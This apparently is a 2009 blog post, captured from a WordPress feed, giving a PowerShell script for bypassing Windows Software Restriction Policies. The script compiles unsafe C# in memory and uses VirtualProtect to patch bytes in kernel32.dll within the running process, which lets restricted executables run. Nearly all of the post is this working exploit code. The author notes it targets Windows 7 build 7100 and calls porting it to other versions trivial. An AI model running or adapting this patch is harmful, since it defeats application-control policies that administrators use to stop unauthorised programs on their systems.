dotnet – Grey Panthers Savannah https://grey-panther.net Just another WordPress site Fri, 17 Jul 2009 13:30:00 +0000 en-US hourly 1 https://wordpress.org/?v=6.9 206299117 Bypassing SRP from PowerShell https://grey-panther.net/2009/07/bypassing-srp-from-powershell.html https://grey-panther.net/2009/07/bypassing-srp-from-powershell.html#comments Fri, 17 Jul 2009 13:30:00 +0000 https://grey-panther.net/?p=262 3692117840_8e53e98b8b_b When discussing with a reader of mine, I mentioned that the same method (patching the local process) should be possible using PowerShell. And here is the code:

#########################################################
#  This is a general purpose routine that I put into a file called
#   LibraryCodeGen.msh and then dot-source when I need it.
#########################################################
function Compile-Csharp ([string] $code, $FrameworkVersion="v2.0.50727", [Array]$References)
{
    #
    # Get an instance of the CSharp code provider
    #
    $cp = new-object Microsoft.CSharp.CSharpCodeProvider

    #
    # Build up a compiler params object...
    $framework = Join-Path $env:windir "Microsoft.NETFramework$FrameWorkVersion"
    $refs = new-object Collections.ArrayList
    $refs.AddRange( @("${framework}System.dll",
        "${framework}system.windows.forms.dll",
        "${framework}System.data.dll",
        "${framework}System.Drawing.dll",
        "${framework}System.Xml.dll"))
    if ($references.Count -ge 1)
    {
        $refs.AddRange($References)
    }

    $cpar = New-Object System.CodeDom.Compiler.CompilerParameters
    $cpar.GenerateInMemory = $true
    $cpar.CompilerOptions = "-unsafe"    
    $cpar.GenerateExecutable = $false
    $cpar.OutputAssembly = "custom"
    $cpar.ReferencedAssemblies.AddRange($refs)
    $cr = $cp.CompileAssemblyFromSource($cpar, $code)

    if ( $cr.Errors.Count)
    {
        $codeLines = $code.Split("`n");
        foreach ($ce in $cr.Errors)
        {
            write-host "Error: $($codeLines[$($ce.Line - 1)])"
            $ce |out-default
        }
        Throw "INVALID DATA: Errors encountered while compiling code"
    }
}

###########################################################################
#  Here I leverage one of my favorite features (here-strings) to define
# the C# code I want to run.  Remember - if you use single quotes - the
# string is taken literally but if you use double-quotes, we'll do variable
# expansion.  This can be VERY useful.
###########################################################################
$code = @'
using System;
using System.Runtime.InteropServices;

namespace test
{
    public class Testclass
    {
        public enum Protection
        {
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_GUARD = 0x100,
            PAGE_NOCACHE = 0x200,
            PAGE_WRITECOMBINE = 0x400
        }

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtect(uint lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll")]
        public static extern uint GetModuleHandle(string lpModuleName);

        public static void Patch()
        {
            uint addr = GetModuleHandle("kernel32.dll") + 0x55FD7;
            byte[] expected = new byte[] {0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x84, 0x02, 0x00, 0x00};
            unsafe
            {
                byte* mem = (byte*)addr;
                for (int i = 0; i < expected.Length; ++i)
                {
                    if (mem[i] != expected[i])
                    {
                        System.Console.WriteLine("Expected bytes not found!");
                        return;
                    }
                }

	            uint oldProtect;                
                VirtualProtect(addr, 11, (uint)Protection.PAGE_EXECUTE_WRITECOPY, out oldProtect);
                byte[] patch = new byte[] {0xB8, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x0C, 0x00, 0x90, 0x90, 0x90};
                for (int i = 0; i < patch.Length; ++i) mem[i] = patch[i];
                VirtualProtect(addr, 11, oldProtect,  out oldProtect);
            }
        }
    }
}
'@

##################################################################
# So now we compile the code and use .NET object access to run it.
##################################################################
compile-CSharp $code
[Test.TestClass]::Patch()

After executing this script, you can run any executable, even if it would have been restricted by the SRP. Some mentions:

  • It is technically written in C#, which is dynamically compiled (the code to do it is taken from here, with a modification from here to allow compiling of unsafe code)
  • The offsets and bytes are for Windows 7 build 7100, so it most probably won’t work with other versions of Windows (and it is possible that it won’t work with other builds), however it is trivial to port it to other versions
  • Because Windows 7 (like Vista) changes the loading address at each reboot (ASLR), the actual patch address needs to be calculated relative to the base address of kernel32 (obtained via GetModuleHandle)

Picture taken from permanently scatterbrained’s photostream with permission.

]]>
https://grey-panther.net/2009/07/bypassing-srp-from-powershell.html/feed 4 262